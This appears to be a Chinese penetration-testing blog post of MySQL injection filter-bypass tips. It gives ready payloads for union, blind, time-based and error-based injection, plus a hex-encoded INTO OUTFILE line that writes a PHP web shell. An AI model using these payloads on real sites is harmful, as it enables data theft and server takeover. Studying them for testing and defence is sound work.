1. 首页
  2. 渗透测试

SQL注入tips总结

过滤单引号

过滤了单引号可以利用以下几种方法绕过。

1. 整数型注入
  整数型注入就不用多废话了,只有在判断表名和列名的时候需要用到单引号,但是可以利用char函数和16进制绕过。利用sql语句写入文件的时候也可以利用16进制,因为mysql会将16进制解析。
2. 字符型注入
  gbk编码,另外可以根据具体的waf/ips规则进行bypass,比如dedecms中的全局过滤ips绕过方式。

过滤select

其实过滤了select基本无解,起码在我这个菜逼眼里是这样的,但是也要考虑特殊情况。比如今年的强网杯的一道题目,虽然过滤了select但是可以堆叠查询,因此有了绕过的方法。

//用到的语句
set语句可用于向系统变量或用户变量赋值。 eg: SET @s1ye=test;
PREPARE stmt_name FROM preparable_stmt 定义预处理语句,它将包含占位符(?)的查询传递给MySQL服务器。
EXECUTE stmt_name  执行预处理语句

过滤逗号

  1. 盲注:

    利用from 1 for 1

  2. 可回显注入

    利用 A join B

  3. 使用like:

    select user() like ‘r%’;

  4. limit时的利用方法在下面limit部分。

A join B:
  INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。
  LEFT JOIN(左连接):获取左表所有记录,即使右表没有对应匹配的记录。
  RIGHT JOIN(右连接): 与 LEFT JOIN 相反,用于获取右表所有记录,即使左表没有对应匹配的记录。
  用法就很简单了,我们用的到第一种方法,INNER可以省略,效果一样。
  eg: select a.name,b.password from users a join passwd n;
  在回显注入下使用:
  ?id=-1 union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d)

SQL注入tips总结

from 1 for 1:
  没啥好说的直接看例子,eg
  ?id=-1 union select 1,2,ascii(substr((database()) from 1 for 1))='r'--+

SQL注入tips总结

"like" eg:(tablename=name)
  select * from name where id =1 and (select group_concat(table_name) from information_schema.tables where table_schema=database()) like 'n%';

SQL注入tips总结

比较符号绕过

  1. between a and b:返回a,b之间的数据,不包含b。
  2. greatest()、least():(前者返回最大值、后者返回最小值)

​ eg: select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

​ 所以上述语句就是与64比较,当页面正常返回时说明真实的ascii码小于或等于64,继续fuzz即可。

等号绕过

可以使用like、rlike、regexp 或者<>。盲注时也可以利用运算符,^、+、-等,观察返回结果与页面变化即可,举一反三灵活运用。

order by 注入

利用oder by盲注的话看文章:

一道题引发的无列名注入

注入点在order by 后的盲注
1. if(条件语句)
  ?order=if((1=1),sleep(3),1)
2. 直接and if
  看图
3. rand()盲注:
  order by rand(true); order by rand(false);

SQL注入tips总结

注入点在order by 后的报错注入:
1. 利用procedure存储过程
2. XPATH
   select * from name order by extractvalue(1,concat('~',database(),'~'));

procedure

SQL注入tips总结

#利用LINES TERMINATED BY方式getshell
   ?order=1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E

limit注入

注入点在limit后的注入:
  同样的利用procedure存储过程 (https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html)
看文章就可以了
如果注入中需要用到limit但是又过滤了逗号,可以利用以下方法。
select * from users limit 0,1;
# 等价于↓
select * from users limit 1 offset 0;

盲注带外

直接看文章,利用dnslog带外的话需要一些权限,比如必须有FILE权限、secure_file_priv为空而不是NULL(不为空就只能读限定目录的文件)

chabug一位师傅的文章

substr替换

mid,left,right,substring,lpad,rpad等

原创文章,作者:s1ye,未经授权禁止转载!如若转载,请联系作者:s1ye

发表评论

电子邮件地址不会被公开。 必填项已用*标注

联系我们

在线咨询:点击这里给我发消息

QR code